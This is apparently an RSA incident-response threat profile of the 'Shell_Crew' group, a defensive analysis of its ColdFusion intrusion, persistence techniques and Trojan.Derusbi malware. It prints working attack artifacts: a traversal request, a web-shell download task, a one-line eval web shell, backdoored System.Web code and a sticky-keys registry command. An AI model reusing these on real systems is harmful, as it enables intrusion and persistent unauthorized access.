RSA Incident Response: Emerging Threat Profile

Shell_Crew

January 2014
Table of Contents

Table of Contents .................................................................................................................................................... 2

Report Overview ...................................................................................................................................................... 5

Intrusion Vector ...................................................................................................................................................... 6

Intrusion Overview .................................................................................................................................................. 6

Intrusion Details ...................................................................................................................................................... 7

Entrenchment Techniques ....................................................................................................................................... 9

Installation of Web shells .......................................................................................................................................... 9

Registering DLLs with Internet Information Services (IIS) ....................................................................................... 10

Modifying the ‘System.Web.dll’ file ........................................................................................................................ 11

Trojan.Derusbi ....................................................................................................................................................... 13

‘Sethc’ RDP backdoor ............................................................................................................................................ 13

Malicious Files and Secondary Tools .................................................................................................................. 15

Malicious Files and Secondary Tools Hash List ..................................................................................................... 15

Malicious Files – Technical Analysis ..................................................................................................................... 17

Trojan.Derusbi ....................................................................................................................................................... 17

Trojan.Derusbi Server Variant .................................................................................................................................. 24

Secondary Tools – Technical Analysis ..................................................................................................................... 28

Notepad.exe ......................................................................................................................................................... 28

Credential Logger .................................................................................................................................................. 31

Detection, Mitigation, and Remediation ................................................................................................................ 33

General Forensic Footprints .................................................................................................................................. 33

Security Analytics Integration .................................................................................................................................. 33

ECAT Integration ................................................................................................................................................ 34

Yara Signatures ..................................................................................................................................................... 35

Hash Set, IPs, Domains ........................................................................................................................................... 35

Conclusion .............................................................................................................................................................. 36

Appendix 1 – Trojan.Derusbi Variants ................................................................................................................ 37

Appendix 2 – Trojan.Notepad Illustration ........................................................................................................... 41

Digital Appendix - Details .................................................................................................................................... 42
### Table of Figures

<table>
<thead>
<tr>
<th>Figure</th>
<th>Description</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Anatomy of Web Application Penetration</td>
<td>6</td>
</tr>
<tr>
<td>2</td>
<td>Web server log entry</td>
<td>7</td>
</tr>
<tr>
<td>3</td>
<td>Example content of a password.properties file</td>
<td>7</td>
</tr>
<tr>
<td>4</td>
<td>ColdFusion task that downloads Web shell</td>
<td>7</td>
</tr>
<tr>
<td>5</td>
<td>Log entry showing the use of &quot;x.cfm&quot; by IP 125.141.233.19</td>
<td>8</td>
</tr>
<tr>
<td>6</td>
<td>Command executed via Web shell</td>
<td>8</td>
</tr>
<tr>
<td>7</td>
<td>Example of a simple Shell_Crew Web shell</td>
<td>9</td>
</tr>
<tr>
<td>8</td>
<td>ColdFusion Web shell interface example</td>
<td>10</td>
</tr>
<tr>
<td>9</td>
<td>Command used to register a DLL with IIS</td>
<td>10</td>
</tr>
<tr>
<td>10</td>
<td>POST request on IIS registered DLL</td>
<td>11</td>
</tr>
<tr>
<td>11</td>
<td>POST request to a non-existent Web page</td>
<td>11</td>
</tr>
<tr>
<td>12</td>
<td>Modified content of PagehandlerFactory.cs</td>
<td>11</td>
</tr>
<tr>
<td>13</td>
<td>Content of default_aspx.cs</td>
<td>12</td>
</tr>
<tr>
<td>14</td>
<td>POST request on nonexistent webpage</td>
<td>12</td>
</tr>
<tr>
<td>15</td>
<td>Decoded base64 text from the POST request</td>
<td>12</td>
</tr>
<tr>
<td>16</td>
<td>The script was further decoded to reveal the contents</td>
<td>13</td>
</tr>
<tr>
<td>17</td>
<td>Reply from infected Web server</td>
<td>13</td>
</tr>
<tr>
<td>18</td>
<td>Registry modification to invoke sethc.exe debugging</td>
<td>14</td>
</tr>
<tr>
<td>19</td>
<td>RDP backdoor example</td>
<td>14</td>
</tr>
<tr>
<td>20</td>
<td>Details of the file 'msressvkx.ttf' - a Trojan.Derusbi variant</td>
<td>17</td>
</tr>
<tr>
<td>21</td>
<td>Trojan.Derusbi Configuration Data Decoding Function</td>
<td>18</td>
</tr>
<tr>
<td>22</td>
<td>Decoded Trojan.Derusbi configuration data</td>
<td>19</td>
</tr>
<tr>
<td>23</td>
<td>Trojan.Derusbi Configuration Data Encoding Function</td>
<td>20</td>
</tr>
<tr>
<td>24</td>
<td>XOR key that is used to decode the driver file</td>
<td>21</td>
</tr>
<tr>
<td>25</td>
<td>Trojan.Derusbi Driver Decoding Function</td>
<td>22</td>
</tr>
<tr>
<td>26</td>
<td>POST request initiated by Trojan.Derusbi</td>
<td>22</td>
</tr>
<tr>
<td>27</td>
<td>Binary data transmitted by Trojan.Derusbi</td>
<td>23</td>
</tr>
<tr>
<td>28</td>
<td>The Binary data contains a set of three DWORDs</td>
<td>23</td>
</tr>
<tr>
<td>29</td>
<td>GET request transmitted by the Trojan</td>
<td>23</td>
</tr>
<tr>
<td>30</td>
<td>Characteristics of the file 2.dll - a Trojan.Derusbi variant</td>
<td>24</td>
</tr>
<tr>
<td>31</td>
<td>Derusbi server variant - check OS version logic</td>
<td>25</td>
</tr>
<tr>
<td>32</td>
<td>Registry key identifying the service name and Trojan file</td>
<td>25</td>
</tr>
<tr>
<td>33</td>
<td>Driver logic that looks for handshake</td>
<td>26</td>
</tr>
<tr>
<td>34</td>
<td>Trojan.Derusbi server variant handshake structure</td>
<td>26</td>
</tr>
</tbody>
</table>
Figure 35: Trojan.Derusbi server variant handshake sample data ................................................................. 26
Figure 36: Trojan.Derusbi server variant - authentication .............................................................................. 27
Figure 37: Trojan.Derusbi server variant – protocol components ............................................................... 27
Figure 38: Common usage of notepad.exe ......................................................................................................... 28
Figure 39: File details of notepad.exe ....................................................................................................................... 28
Figure 40: Resource of notepad.exe ...................................................................................................................... 29
Figure 41: Notepad.exe - built in C2 data structure .............................................................................................. 29
Figure 42: C2 obfuscation in notepad.exe ................................................................................................................... 29
Figure 43: Details of the file xmlobj.dll ...................................................................................................................... 31
Figure 44: Sample of harvested credentials ......................................................................................................... 32
Figure 45: ECAT detects a suspicious outbound connection ............................................................................. 34
Figure 46: Alert sent by ECAT .............................................................................................................................. 34
Figure 47: MFT File Viewer in ECAT ...................................................................................................................... 35
Figure 48: Malware sample testing ......................................................................................................................... 35
Figure 49: Trojan.Derusbi Variants Mutex Overlap ............................................................................................. 37
Figure 50: Trojan.Derusbi variants XOR key overlap ........................................................................................... 38
Figure 51: Trojan.Derusbi variants XOR key overlap ........................................................................................... 39
Figure 52: Trojan.Derusbi variants XOR key overlap ........................................................................................... 40
Figure 53: Relationships between Trojan.Notepad samples .................................................................................. 41
Report Overview

The purpose of this report is to share actionable threat intelligence associated with an advanced adversary the RSA IR Team is tracking. Threat intelligence related to advanced adversaries enables security practitioners to mitigate threat impact before the adversary becomes entrenched in an organization’s infrastructure. If a breach has already occurred, threat intelligence bolsters incident investigation activities and expedites remediation; ultimately reducing exposure times and minimizing potential data loss.

During recent engagements, the RSA IR Team has responded to multiple incidents involving a common adversary targeting each client’s infrastructure and assets. The RSA IR Team is referring to this threat group internally as "Shell_Crew"; however, they are also referred to as Deep Panda, WebMasters, KungFu Kittens, SportsFans, and PinkPanther amongst the security community.

Shell_Crew is generally known to utilize the following tactics, techniques, and procedures (TTPs);

- Prevalent use of Web shells to maintain low level persistence in spite of determined remediation efforts;
- Occasional use of Web application framework exploits to achieve initial entry as opposed to traditional spearfishing attempts;
- Lateral movement using compromised credentials with RDP, psexec, or network connections in conjunction with scheduling jobs with the “at” command.
- Abuse of Code Signing infrastructure to validly sign custom backdoor malware;
- Exploiting systems using different SETHC.exe methods accessible via Remote Desktop Protocol (RDP);
- Long history of IP/DNS telemetry allowing for historical research and link analysis;
- Placement of malicious proxy tools introduced into the environment on Windows server based proxies to bypass proxy logging;
- Extensive use of time/date stomping of malicious files to hinder forensic analysis; and
- Malware leveraging compromised credentials to bypass authentication NTLM proxies (proxy aware).

This emerging threat profile covers a sampling of observed indicators that have been derived by analyzing a variety of tools and malicious code collected during recent engagements involving Shell_Crew. Included are details about an observed intrusion vector, entrenchment techniques, unique malicious files, and tools that are used by this adversary. Additionally, the RSA IR Team has provided content in the form of a digital appendix that can be integrated into Security Analytics, the Enterprise Compromise Assessment Tool (ECAT), or other security tools for rapid detection and visibility of indicators associated with Shell_Crew.
Intrusion Vector

Intrusion Overview

Shell_Crew has an affinity for exploiting web application vulnerabilities to gain access to the victim’s network and information systems. In this section, we’ve provided details pertaining to an instance where Shell_Crew breached a victim network through the exploitation of an Adobe ColdFusion directory traversal vulnerability (CVE-2010-2861). This exploit allowed Shell_Crew to read the ‘password.properties’ file containing the password hash of the ColdFusion ‘administrator’ account. After obtaining this password hash, Shell_Crew was able to recover the password associated with the administrative account, likely by using pre-computed rainbow tables. Using the acquired administrator account credentials, Shell_Crew created a ColdFusion scheduled task to download a malicious Web shell to the ColdFusion server. They then utilized this Web shell to upload additional Web shells, hash dumping tools, and other Trojans onto the system, as well as created a backdoor into the system for reentry. Using the tools uploaded to the server, Shell_Crew dumped password hashes from the compromised system, performed network reconnaissance, and moved laterally to systems in the internal network using the compromised credentials with the pass-the-hash technique.

Figure 1 below illustrates the high level anatomy of this particular Shell_Crew attack.

Figure 1: Anatomy of Shell_Crew Web Application Penetration
**Intrusion Details**

On 18th June, 2013 an attacker using IP address 184.71.210.4 connected to the ColdFusion Web server and exploited the Adobe ColdFusion directory traversal vulnerability, CVE-2010-2861, to recover the contents of the password.properties file. Figure 2 below depicts a log entry from the Web server that illustrates the initial point of exploitation. The data highlighted in blue shows the directory traversal used to access the password.properties file. In addition, the data highlighted with red (zh-cn) in the User-Agent indicates the language tag on the attacker’s system.

```
2013-06-18 05:17:30 W3SVC1 10.193.23.45 GET /CFIDE/administrator/enter.cfm locale=..\..\..\..\..\..\..\..\ColdFusion8\lib\password.properties%00en 80 – 184.71.210.4
Opera/9.80+(Windows+NT+6.1;+U;+Edition+IBIS;+zh-cn)+Presto/ 2.10.229+Version/11.61
```

**Figure 2: Web server log entry**

The password.properties file contained the hash value of the ColdFusion administrator account, which can be seen in Figure 3 below:

```
rdspassword=00351D71E07C81B978948870A48FE127
encrypted=true
```

**Figure 3: Example content of a password.properties file**

Through review of log files found on the Web server, the RSA IR team identified that within 10 minutes of retrieving the password.properties file, Shell_Crew logged in to the ColdFusion management page using the recovered administrator account credentials. This indicates that Shell_Crew quickly enumerated the password from the hash value found in the password.properties file. Once logged in with the administrator account, Shell_Crew scheduled a job called “test” to download a file containing a ColdFusion Web shell from “http://mpe.ie/1234.zip” and save it to the Web server’s local directory D:\mywebsite\x.cfm. The log entry from the Web server that shows scheduling of this job is visible in Figure 4.

```
POST /CFIDE/administrator/scheduler/schedulededit.cfm HTTP/1.1
Host: mywebsite.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 393

TaskName=tests Start_Date=Jun+18%2C+2013 End_Date=ScheduleType=Once ScheduleTimeOnce=9%3A27+%40M Interval=Daily&StartTimeTimeZone=customInterval_hour=0&customInterval_min=0&customInterval_sec=0&customStartTime=customEndTime=0&operation=HTTP&requestScheduledURL=http%3A%2F%2Fmpe.ie%2F1234.zip&UserName=Password=Request_Time_out=proxy_server=http_proxy_port=0&publish_file=D:\43A5\mywebsite\x.cfm&adminsubmit=Submit&taskNameOrig=
```

**Figure 4: ColdFusion task that downloads Web shell**

The file downloaded from the remote system to the ColdFusion server, 1234.zip, is a ColdFusion Web shell called “cfm backdoor by ufo”. Once the Web shell was downloaded to the Web server by the ColdFusion job, the adversary was able to utilize the functionality of the Web shell to execute commands on the local system, illustrated in Figure 5 and Figure 6.

---

1 The name of the website has been changed to protect the privacy of the victim.
Once Shell_Crew has a foothold into the victim’s network, they move to other systems within the environment to ensure multiple points for re-entry. Some of the techniques used by Shell_Crew to further insert themselves into a victim’s environment are outlined in the next section of this report; Entrenchment Techniques.
Entrenchment Techniques

Shell_Crew uses a variety of techniques to entrench themselves in a victim’s network. For purposes of this report, the term entrenchment is used to describe a technique used by the adversary that allows them to maintain unauthorized access into an enterprise despite attempted remediation efforts by the victim. In addition to traditional Trojans that beacon out to a destination IP address, this adversary has also been observed utilizing the following entrenchment techniques;

- Installation of Web shells;
- Registering DLLs with Internet Information Services (IIS);
- Modifying the ‘System.Web.dll’ file;
- Trojan.Derusbi; and
- Utilizing the RDP backdoor ‘sethc.exe’.

This section of the report discusses each of these entrenchment techniques in further detail.

1. Installation of Web shells

Web shells are files containing malicious code written in various Web scripting languages, such as JSP, CFM, ASP, ASPX, or PHP, that when hosted on a publicly accessible Web site allow an adversary such as Shell_Crew to gain remote access and perform various unauthorized activities on a compromised system and network. A Web shell can be a stand-alone file that only contains Web shell code, or can be an insertion of malicious code directly into an existing legitimate Web site page, thus allowing the adversary to blend with normal traffic and files on the Web server.

Using Web shells has several advantages over traditional Trojans including:

- Low detection rates from Anti-Virus programs due to the variety and customization of code;
- The inability to block or monitor an IP since connectivity can be initiated from any source address; and
- There is no beaconing activity from a Web shell.

The complexity of the Web shells used by Shell_Crew varies dramatically. Figure 7 shows the contents of a simple Web shell identified during a recent engagement where Shell_Crew had uploaded the Web shell as a standalone file. This one line of code allowed Shell_Crew to execute shell commands remotely on the Web server. The red text depicted within the example has been changed as the password value used by Shell_Crew made reference to the name of the victim company.

```jsp
<%@ Page Language="Jscript"%>
<%eval(Request.Item["password"],"unsafe");%>
```

Figure 7: Example of a simple Shell_Crew Web shell

Shell_Crew also uses more complex Web shells that contain hundreds of lines of code and offer advanced functionality equal to many capable Trojans. This functionality can include capabilities such as:

- File system traversal;
- File/folder upload, download, and modify;
- Command execution;
- Time stomp files/folder;
- Database connectivity; and
- Communication obfuscation (typically Base64 or ASCII hex encoding).

Figure 8 below is a screenshot of the ColdFusion Web shell used by Shell_Crew as referenced in the Intrusion Vector section of this report. This Web shell contains robust capabilities such as command execution, directory traversal, file uploads, and the ability to gather basic system information.
2. Registering DLLs with Internet Information Services (IIS)

Another entrenchment technique used by Shell_Crew on compromised systems is to register a DLL with IIS. Figure 9 below is an example where a malicious DLL was registered with the IIS Web server using the command line. The ScriptMaps.vbs file is a built in function of IIS for running VBScripts, and is fully documented in MSDN².

```
cscript D:\mywebsite\ScriptMaps.vbs -a ".jna,C:\windows\system32\inetsrv\myDLLname.dll,1,GET,HEAD,POST,TRACE"
```

This command line modification will ensure that any incoming request (whether it is a GET, POST, HEAD, or TRACE) with a .jna extension, will be handled by the now registered malicious DLL, in the example in Figure 9, myDLLname.dll. This allows Shell_Crew to make different requests; both in the request type, such as GET or POST, and the file being requested, making detection more difficult. This method of using various request parameters can be coupled with erratic IP Addresses further decreasing the likelihood that the activity will be detected by conventional means. Figure 10 depicts a sample request to a compromised Web server.

² http://msdn.microsoft.com/en-us/library/ms526052%28v=vs.90%29.aspx
3. Modifying the ‘System.Web.dll’ file

This entrenchment technique was discovered after Shell_Crew made POST requests to nonexistent Web pages on a Web server running IIS. The POST requests always started with a marker string that looked like a hash value. Requests to the same non-existent Web page without the marker would result in a code 404, i.e. page not found. Figure 11 shows an example of a POST request sent by Shell_Crew to a non-existent webpage.

```
4B39DD871AD56E6BFEC750C33138B985=Response.Write("-->");var err:Exception;try{eval(System.Text.Encoding.GetEncoding(936).GetString(System '\\Convert.FromBase64String("...'

```

Figure 11: POST request to a non-existent Web page

The typically benign .NET Microsoft file ‘System.Web.dll’ is an assembly that contains several namespaces. When decompiled with a .NET Decompiler (such as .NET Reflector) the result will be hundreds of C# scripts. Shell_Crew replaced the existing System.Web.dll with a version which contained changes to two C# scripts:

- Disassembler\System.Web\System\Web\UI\PageHandlerFactory.cs
- Disassembler\System.Web\System\Web\Util\default_aspx.cs

The first script file PagehandlerFactory.cs contains adversary added code that looks for this marker in the content of the request: 4B39DD871AD56E6BFEC750C33138B985. When the marker is present, it lets default_aspx.cs handle the request that follows the marker. Figure 12 highlights the modifications made to the PagehandlerFactory.cs file.

```csharp
private IHttpHandler GetHandlerHelper(HttpContext context, string requestType, VirtualPath virtualPath, string physicalPath)
{
    string str = context.Request("4B39DD871AD56E6BFEC750C33138B985");
    if (str != null)
    {
        return new default_aspx();
    }
    Page page = BuildManager.CreateInstanceFromVirtualPath(virtualPath, typeof(Page), context, true, true) as Page;
    if (page == null)
    {
        page = new Page();
        page.TemplateControl1VirtualPath = virtualPath;
    }
    return page;
}
```

Figure 12: Modified content of PagehandlerFactory.cs
When called by the script PagehandlerFactory.cs, the file default_aspx.cs, which also contains code added by the adversary, performs the eval function on the request sent in the original POST request to the non-existent Web page.

![Image](54x36 to 594x70)

Figure 13: Content of default_aspx.cs

In this instance, the POST request contained data that was Base64 encoded to obfuscate the malicious nature of the request, as shown in [Figure 14](54x589 to 579x689).

![Image](54x261 to 569x532)

Figure 14: POST request on nonexistent webpage

Below in [Figure 15](54x732) is the decoded blue text from the POST request in Figure 14.

![Image](54x923)
The reply from the server to these POST requests is not obfuscated and could be found in Web server log files as shown in Figure 17.

4. Trojan.Derusbi

In addition to deploying traditional versions of what Symantec calls Trojan.Derusbi (i.e. samples that beacon to a hard-coded domain/IP address), this adversary deployed a custom version of this Trojan on perimeter servers. Trojan.Derusbi typically consists of a DLL and driver file. The driver of the customized Trojan.Derusbi variant in this example monitors all TCP ports that are utilized by various Windows services. When a connection is established on any TCP port, the driver checks to see if it received a handshake packet. The handshake packet contains a simple structure, which allows the Trojan to function even on busy Web servers.

When a handshake packet is received, the DLL also replies back with a handshake packet. In addition to the handshake, this variant of Trojan.Derusbi also has an authentication step where the client must send the right password to the Trojan. The communication protocol consist of a 24 byte header, and the data is compressed and obfuscated with 4-byte XOR key, which is dynamically generated for each transmission, and which is included in the 24-byte header. This Trojan offers both typical and advanced Trojan functionalities, such as: file traversal, process start/terminate, upload/download, time stamping, and self-updating.

Analysis of customized Trojan.Derusbi variants utilized by Shell_Crew can be found in the below Malicious Files and Secondary Tools section.

5. ‘Sethc’ RDP backdoor – ‘Sticky-Keys backdoor’

This well-known technique that is commonly referred to as the sticky-keys backdoor is used when systems on the targeted organization have Microsoft Remote Desktop Protocol (RDP) enabled. While this technique is not exclusive to Shell_Crew,
the RSA IR Team has observed this group utilize the technique in several different environments. There are two common ways that a system can be exploited using this technique.

1. File sethc.exe is replaced with another file (typically cmd.exe or explorer.exe) in one or both of these two locations:
   - C:\Windows\system32\sethc.exe
   - C:\Windows\system32\dllcache\sethc.exe

   The result of making this change on a system which has RDP enabled, is that once presented with the RDP Windows logon screen, simply pressing the SHIFT key 5 times will launch either a command shell (cmd.exe), a windows explorer window (explorer.exe), or whatever program was copied to replace the sethc.exe application executable.

2. The second technique makes a registry modification to launch a debugger anytime sethc.exe is executed and registers cmd.exe (or any other file) as the debugger. So, anytime sethc.exe is invoked (explained in the next paragraph), Windows automatically executes its “debugger”, i.e. cmd.exe. The registry modification is shown in Figure 18.

   
   REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

   **Figure 18: Registry modification to invoke sethc.exe debugging**

   The result of making this change on a system which has RDP enabled, is that once presented with the RDP Windows logon screen, simply pressing the SHIFT key 5 times will launch either a command shell, cmd.exe as shown in Figure 18, or whichever program has been set as the debug program in the registry. The process runs under the context of the SYSTEM account. Since this technique does not involve any malicious files, there is limited capability for AV vendors to detect this backdoor.

   **Figure 19** shows an example of a system that has the Stick Key set to present a command shell when invoked.
Malicious Files and Secondary Tools

Shell_Crew uses a variety of malicious Trojans and tools to entrench themselves, move laterally, and persist within a targeted environment. This portion of the report will detail the malicious files and secondary tools identified during recent engagements involving Shell_Crew. The sections are broken up as follows:

- Malicious Files and Secondary Tools Hash List;
- Malicious Files – Technical Analysis; and
- Secondary Tools – Technical Analysis

Malicious Files and Secondary Tools Hash List

The following list of Trojans and tools have been used by Shell_Crew during various investigations conducted by the RSA IR team. The Web shells that are often used by Shell_Crew can be easily modified for specific missions or victims, and subsequently, hash values are not listed for those files. Additionally, many Web shell samples identified reference specific victim names, which once redacted, would change the hash value of the file.

<table>
<thead>
<tr>
<th>MD5 Hash</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>90eddad3327a63fdea924fb802bc7dc5</td>
<td>Credential logger</td>
</tr>
<tr>
<td>77932654f5087ac5e157db6ff9b7524</td>
<td>Derusbi dropper</td>
</tr>
<tr>
<td>cc09af194acf2039ad9f6074d89157ca</td>
<td>Derusbi server variant</td>
</tr>
<tr>
<td>a395eed1d0f8a79bdebbfd6c673cc1</td>
<td>Mimikatz</td>
</tr>
<tr>
<td>469d4825c5acacb62d1c109085790849</td>
<td>Mimikatz DLL</td>
</tr>
<tr>
<td>eb698247808b8e35ed5a9d5efd7a3ae</td>
<td>Password hash dumper</td>
</tr>
<tr>
<td>62567951f942f6015138449520e67aeb</td>
<td>Trojan.Notepad</td>
</tr>
<tr>
<td>2dce7fc3f52a692d8a84a0c182519133</td>
<td>Trojan.Notepad</td>
</tr>
<tr>
<td>7a6154e1c07aded990b07e604af4acf</td>
<td>Trojan.Notepad</td>
</tr>
<tr>
<td>ef049b075a592abc29b8e9ec43aca07</td>
<td>Trojan.Notepad</td>
</tr>
<tr>
<td>985abc913a294c09671889232631ec9</td>
<td>Trojan.Notepad</td>
</tr>
<tr>
<td>42edceed7d7dab7c3088e332f4f64875</td>
<td>Trojan.Notepad</td>
</tr>
<tr>
<td>106e63dbda3a76beeb53a8bbd8f98927</td>
<td>Trojan.Notepad</td>
</tr>
<tr>
<td>42d98db0a5b870e8bb828fb2ef22b3f</td>
<td>Trojan.Notepad</td>
</tr>
<tr>
<td>fcb89c7ab7fa08f322148d3b67b34c49</td>
<td>Windows Cred Editor</td>
</tr>
<tr>
<td>128c17340cb5add266f60fe2af37700</td>
<td>Trojan.Derusbi</td>
</tr>
<tr>
<td>1ae039cbb9684652c017161f8a5aca78</td>
<td>Trojan.Derusbi</td>
</tr>
<tr>
<td>2f05c07e3f925265cd45ef1d0243a511</td>
<td>Trojan.Derusbi</td>
</tr>
<tr>
<td>312888a0742815ccc53dc37abf1a958</td>
<td>Trojan.Derusbi</td>
</tr>
<tr>
<td>3804d23db141c977b98c2885953444f</td>
<td>Trojan.Derusbi</td>
</tr>
<tr>
<td>Hash</td>
<td>Type</td>
</tr>
<tr>
<td>-----------------------------</td>
<td>----------</td>
</tr>
<tr>
<td>3a27de4fb6e2c524e883c40a43da554e</td>
<td>Trojan.Derusbi</td>
</tr>
<tr>
<td>3c973c1ad37dae0443a078da685c0ea</td>
<td>Trojan.Derusbi</td>
</tr>
<tr>
<td>3dec6df39910045791ee697f461baaba</td>
<td>Trojan.Derusbi</td>
</tr>
<tr>
<td>449521ce87ed0111dcb0d4beff85064d</td>
<td>Trojan.Derusbi</td>
</tr>
<tr>
<td>59cb505d1636119f2881ca14bf42326</td>
<td>Trojan.Derusbi</td>
</tr>
<tr>
<td>6802c21d3dd80084bf93413dc0c23a7</td>
<td>Trojan.Derusbi</td>
</tr>
<tr>
<td>6811b8667e08f9fa5fcd8a69ca9c72161</td>
<td>Trojan.Derusbi</td>
</tr>
<tr>
<td>6d620d5a903f0d714c30565a9bfdec8f</td>
<td>Trojan.Derusbi</td>
</tr>
<tr>
<td>6ec15a34f058176be4e4685eda9a5cfc</td>
<td>Trojan.Derusbi</td>
</tr>
<tr>
<td>72662c61ae8ef7566a945f648e9d4dd8</td>
<td>Trojan.Derusbi</td>
</tr>
<tr>
<td>75b3ccdd4d3bf56b55a46fba9463d282</td>
<td>Trojan.Derusbi</td>
</tr>
<tr>
<td>76767ef2d2bb25eab45203f0d2e8335b</td>
<td>Trojan.Derusbi</td>
</tr>
<tr>
<td>837b6b1601e0fa99f28657dee244223b</td>
<td>Trojan.Derusbi</td>
</tr>
<tr>
<td>87f93dca2c329081ddbd175e6d946b</td>
<td>Trojan.Derusbi</td>
</tr>
<tr>
<td>8c0cf5bc1f75d71879b48a2b6f6bebcf</td>
<td>Trojan.Derusbi</td>
</tr>
<tr>
<td>9318d336f8d6018fd97357c26a2dfb20</td>
<td>Trojan.Derusbi</td>
</tr>
<tr>
<td>a1fb51343f3724e8b683a93f2d42127b</td>
<td>Trojan.Derusbi</td>
</tr>
<tr>
<td>bc32ecb75624a7becc7a901e10c195307</td>
<td>Trojan.Derusbi</td>
</tr>
<tr>
<td>c353bace6ebace04b376adfd1f3115e087</td>
<td>Trojan.Derusbi</td>
</tr>
<tr>
<td>d3ad90010c701e731835142fabb6bfc</td>
<td>Trojan.Derusbi</td>
</tr>
<tr>
<td>de7500fc1065a081180841f32f06a537</td>
<td>Trojan.Derusbi</td>
</tr>
<tr>
<td>eeb636866ec9ff3623d10f1efcf3c09</td>
<td>Trojan.Derusbi</td>
</tr>
<tr>
<td>f942f98c8f8f8fcde7eb0c2f465be7a</td>
<td>Trojan.Derusbi</td>
</tr>
</tbody>
</table>

Table 1: List of Malicious Files
Malicious Files – Technical Analysis

Shell_Crew uses a variety of malicious Trojans and tools to entrench themselves in a customer environment, however they consistently employ Trojans such as Trojan.Derusbi and variations of this Trojan family. This portion of the report will detail the technical analysis of two of the custom variations of Trojan.Derusbi used by Shell_Crew.

1. Trojan.Derusbi

The RSA IR Team has observed Shell_Crew deploy different variants of the Trojan.Derusbi family. This Trojan family provides attackers a backdoor into the enterprise, as well as functionality to locate and decrypt passwords stored on the system by web browsers like Firefox and Internet Explorer, gather system and network information, and upload or download files. Details of a sample found during a recent engagement involving Shell_Crew have been provided in Figure 20.

<table>
<thead>
<tr>
<th>File Name: msressvkvx.ttf</th>
</tr>
</thead>
<tbody>
<tr>
<td>File Size: 141928 bytes</td>
</tr>
<tr>
<td>MD5: c0d4c5b669cc5b51862db37e972d31ec</td>
</tr>
<tr>
<td>SHA1: 0beaa9038e9884bd6a6b8c3737e7ee1489a6cf</td>
</tr>
<tr>
<td>PE Time: 0x4EAD4675 [Sun Oct 30 12:43:33 2011 UTC]</td>
</tr>
<tr>
<td>PEID Sig: Microsoft Visual C++ v6.0 DLL</td>
</tr>
<tr>
<td>PEID Sig: Microsoft Visual C++ v7.0 DLL</td>
</tr>
</tbody>
</table>

It should be noted that the original sample contained a hard coded URL that made reference to a company name; because of this, the hard coded IP Address was replaced and the MD5 and SHA1 hash values provided above are for the sanitized file. This Trojan has an embedded and encoded driver file that is written to the infected system and then launched. This driver will hook the IP, TCP, UDP, and RawIP driver files that normally run on a system.

When this particular Trojan.Derusbi variant is initially executed it checks to see if the registry key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Security" is present in the registry. This registry key location is where the Trojan will store its encoded configuration data. If the key is not present on the system, the sample will first decode the configuration data that is embedded in the Trojan found at position 0x1EC88.
Figure 21 below shows the function responsible for decoding this embedded data with the XOR key ‘0x 76 2D F2 41’. Once the configuration data has been initially decoded, it will be placed into memory and the Trojan will resolve the current machine name and append 4 characters of pseudorandom data separated by a dash “-“. This null terminated string will then overwrite the first portion of data in the decoded configuration file.
The data below in Figure 22 illustrates the decoded configuration data. The machine name string and the hard coded C2 for this sample are highlighted in yellow (and have been changed to protect the victim).

<table>
<thead>
<tr>
<th>Offset</th>
<th>0</th>
<th>1</th>
<th>2</th>
<th>3</th>
<th>4</th>
<th>5</th>
<th>6</th>
<th>7</th>
<th>8</th>
<th>9</th>
<th>A</th>
<th>B</th>
<th>C</th>
<th>D</th>
<th>E</th>
<th>F</th>
</tr>
</thead>
<tbody>
<tr>
<td>00000000</td>
<td>2D</td>
<td>56</td>
<td>49</td>
<td>43</td>
<td>54</td>
<td>49</td>
<td>4D</td>
<td>2D</td>
<td>4D</td>
<td>41</td>
<td>43</td>
<td>48</td>
<td>49</td>
<td>4E</td>
<td>45</td>
<td>2D</td>
</tr>
<tr>
<td>00000010</td>
<td>33</td>
<td>37</td>
<td>39</td>
<td>38</td>
<td>00</td>
<td>57</td>
<td>29</td>
<td>57</td>
<td>74</td>
<td>59</td>
<td>41</td>
<td>73</td>
<td>59</td>
<td>57</td>
<td>51</td>
<td>33</td>
</tr>
<tr>
<td>00000020</td>
<td>2D</td>
<td>3E</td>
<td>23</td>
<td>3C</td>
<td>7E</td>
<td>4F</td>
<td>72</td>
<td>29</td>
<td>21</td>
<td>4D</td>
<td>3C</td>
<td>5B</td>
<td>56</td>
<td>54</td>
<td>3D</td>
<td>47</td>
</tr>
<tr>
<td>00000030</td>
<td>5F</td>
<td>25</td>
<td>2D</td>
<td>4E</td>
<td>38</td>
<td>68</td>
<td>7A</td>
<td>39</td>
<td>50</td>
<td>53</td>
<td>5C</td>
<td>6D</td>
<td>32</td>
<td>70</td>
<td>33</td>
<td>00</td>
</tr>
<tr>
<td>00000040</td>
<td>62</td>
<td>61</td>
<td>64</td>
<td>2E</td>
<td>6D</td>
<td>61</td>
<td>6C</td>
<td>77</td>
<td>61</td>
<td>72</td>
<td>65</td>
<td>6A</td>
<td>77</td>
<td>6D</td>
<td>2E</td>
<td>63</td>
</tr>
<tr>
<td>00000050</td>
<td>5E</td>
<td>25</td>
<td>5A</td>
<td>00</td>
<td>2C</td>
<td>3F</td>
<td>3A</td>
<td>3B</td>
<td>00</td>
<td>57</td>
<td>53</td>
<td>74</td>
<td>5A</td>
<td>24</td>
<td>64</td>
<td>21</td>
</tr>
<tr>
<td>00000060</td>
<td>47</td>
<td>24</td>
<td>74</td>
<td>3B</td>
<td>62</td>
<td>5D</td>
<td>35</td>
<td>77</td>
<td>46</td>
<td>4F</td>
<td>24</td>
<td>2E</td>
<td>71</td>
<td>56</td>
<td>66</td>
<td>2A</td>
</tr>
</tbody>
</table>

**Offset Removed for Brevity**

<table>
<thead>
<tr>
<th>Offset</th>
<th>00000140</th>
<th>00000150</th>
<th>00000160</th>
<th>00000170</th>
<th>00000180</th>
<th>00000190</th>
<th>000001A0</th>
</tr>
</thead>
<tbody>
<tr>
<td>00000140</td>
<td>14 00 00 00</td>
